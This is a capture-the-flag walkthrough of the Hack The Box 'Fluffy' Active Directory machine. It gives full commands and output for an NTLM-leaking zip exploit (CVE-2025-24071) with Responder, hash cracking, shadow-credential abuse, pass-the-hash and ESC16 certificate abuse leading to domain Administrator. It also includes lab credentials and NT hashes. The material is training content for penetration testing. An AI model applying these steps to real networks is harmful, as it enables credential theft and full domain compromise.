As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Init

Starting with nmap scan:

# Nmap 7.95 scan initiated Thu Sep 18 20:56:41 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA nmap/fluffy 10.10.11.69
Nmap scan report for 10.10.11.69
Host is up (0.069s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-19 07:56:55Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-09-19T07:58:18+00:00; +6h59m59s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-19T07:58:18+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-09-19T07:58:18+00:00; +6h59m59s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-09-19T07:58:18+00:00; +6h59m59s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-time:
|   date: 2025-09-19T07:57:37
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 18 20:58:19 2025 -- 1 IP address (1 host up) scanned in 98.27 seconds

There is Kerberos and LDAP running with CA=fluffy.htb. And so we have to be careful for clock skew when establishing remote connection.

So, first we confirm that the creds are valid

nxc smb -k 10.10.11.69 -u "j.fleischman" -p "J0elTHEM4n1990!"

Then, generate the krb file by passing --generate-krb5-file

nxc -k 10.10.11.69 -u "j.fleischman" -p "J0elTHEM4n1990!" --generate-krb5-file fluffy.krb5

Putting this into /etc/krb5.conf, we can utilize getTGT.py to get a TGT (It will return a .ccache file) and then establish a remote connection for that user.

getTGT.py fluffy.htb/j.fleischman:J0elTHEM4n1990!

We don’t have the typical SSH port open (22). But we can obviously use SMB. List the available shares:

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ smbclient -L //10.10.11.69 -U 'j.fleischman'
Password for [WORKGROUP\j.fleischman]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share

Also, checking out kerberosting and see if any hash can be cracked. nxc ldap dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --kerberoasting hashes.txt, no password is found.

Looking for more info about these shares, we can use nxc:

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ nxc smb dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark
SMB         10.10.11.69     445    DC01             -----           -----------     ------
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.69     445    DC01             C$                              Default share
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.69     445    DC01             IT              READ,WRITE
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share

Given we have Read and Write permission on IT, let’s login to SMB on IT.

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ smbclient  //10.10.11.69/IT -U j.fleischman
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Sep 26 18:48:40 2025
  ..                                  D        0  Fri Sep 26 18:48:40 2025
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 15:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 15:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 15:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 15:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 14:31:07 2025

                5842943 blocks of size 4096. 1920912 blocks available
smb: \>

The PDF lists many CVEs one of which can leak NTLM hashes. Searching for PoCs, there are many msfvenom exploits available. But the best is https://github.com/0x6rss/CVE-2025-24071_PoC which link to this blog post that explains the vulnerability and exploit very well.

The vulnerability occurs when a user extracts a ZIP archive containing a specially crafted .library-ms file. Windows Explorer automatically initiates an SMB authentication request to a remote server specified in the file, leaking the user’s NTLM hash without any user interaction.

So, simply run the poc.py file and also startup responder. In some time, whenever any one types to authenticate, it’s NTLMv2 hash will be captured!

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy/CVE-2025-24071_PoC]
└──╼ [★]$ python poc.py
Enter your file name: henloworld
Enter IP (EX: 192.168.1.162): 10.10.16.36
completed

Pushing malformed zip to remote

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ smbclient  //10.10.11.69/IT -U j.fleischman
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (1.5 kb/s) (average 1.5 kb/s)
smb: \> SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now


Starting responder and eventually getting the hash!

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ sudo responder -I tun0 -wd

Using hashcat, the password is cracked to:

P.AGILA::FLUFFY:19d33cece0c7ed3a:38a12135018a4e35aebfa5e4ed6f9dd1:01010000000000000083da00032fdc013565e5ef742710490000000002000800550036005300560001001e00570049004e002d005900300058003000580037004100460041005600420004003400570049004e002d00590030005800300058003700410046004100560042002e0055003600530056002e004c004f00430041004c000300140055003600530056002e004c004f00430041004c000500140055003600530056002e004c004f00430041004c00070008000083da00032fdc0106000400020000000800300030000000000000000100000000200000373fe51214de78183f3c6afc36d3ba9956ecd0f0039a47cf540b8b001be1ad290a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00330036000000000000000000:prometheusx-303

Checking the creds, we do have smb over this client: nxc smb dc01.fluffy.htb -u p.agila -p 'prometheusx-303' --shares. Going ahead and adding it into owned users on Bloodhound, this user has GenericAll permission for service accounts. And service accounts can GenericWrite to winrm_svc, ldap_svc and ca_svc. So, I can add myself to service accounts and use the write permission to update the password for these accounts.

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ bloodyAD -d "fluffy.htb" -u p.agila -p "prometheusx-303" --dc-ip 10.10.11.69 add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts

Now, we can create “shadow credentials”. This will give us an NT_HASH that can be used to login as that user.

certipy shadow auto - winrm_svc

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ certipy shadow auto -u 'p.agila' -p 'prometheusx-303' -account winrm_svc -dc-ip 10.10.11.69
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ebb235fec7db4991917926768cc375a3'
[*] Adding Key Credential with device ID 'ebb235fec7db4991917926768cc375a3' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'ebb235fec7db4991917926768cc375a3' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767

Now, to login using this hash i.e. Pass The Hash ey!

Getting cmd via evil-winrm

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ evil-winrm -i 10.10.11.69 -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

Cools, now you have the user flag! 🎉

Privilege Escalation

As we already found that we can have GenericAll to ca_svc, further looking into it’s outbounds, we can manipulate the Certificate Authority (CA), that issues certificates in the AD environment.

Using certipy to figure out the vulnerability - certipy find -u 'ca_svc' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -vulnerable -text.

This can only be detected in most recent certipy.

This says the ca has ESC16. This wiki page explains it well: Ceritpy ESC16 Wiki. Essentially you set the remote’s UPN to match the target (target’s privilege account in most cases). After which a certificate can be requested, which automatically lacks the SID security extension due the CA’s configuration. Then the UPN change can be reverted and when the certificate is used to impersonate the target.

Initial configuration

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ certipy account -u p.agila -p prometheusx-303 -dc-ip 10.10.11.69 -user ca_svc
 read
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : ca_svc@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2025-09-28T09:06:53+00:00

Change the UPN to administrator (Note that windows treat this field as unique, so if you change this name to an existing one, it will give an error. However, internally while matching, name with or without fully qualified domain is treated same in terms of access granted)

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ certipy account -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 -user ca_svc -upn administrator update
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'

Get the certificate for upn administrator

┌─[htb_lab_truelyyours]─[10.10.16.36]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ certipy req -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -ca FLUFFY-DC01-CA -template User -upn administrator -dc-ip 10.10.11.69
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Before using this certificate you need to revert the UPN name. If not you will get the username mismatch error:

So, update the UPN name: certipy account -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 -user ca_svc -upn ca_svc update and then login using the previous administrator.pfx.

┌─[htb_lab_truelyyours]─[10.10.16.101]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -username administrator -domain fluffy.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

Now, simply use evil-winrm and you get the administrator’s command prompt:

┌─[htb_lab_truelyyours]─[10.10.16.101]─[truelyyours@parrot]─[~/htb/machines/Fluffy]
└──╼ [★]$ evil-winrm -i 10.10.11.69 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/27/2025   3:02 PM             34 root.txt

Cool box! Learnt a lot regarding Windows pentesting. Cheers! Treat yourself to some of that God’s nectar! 🎉💧🥂🥂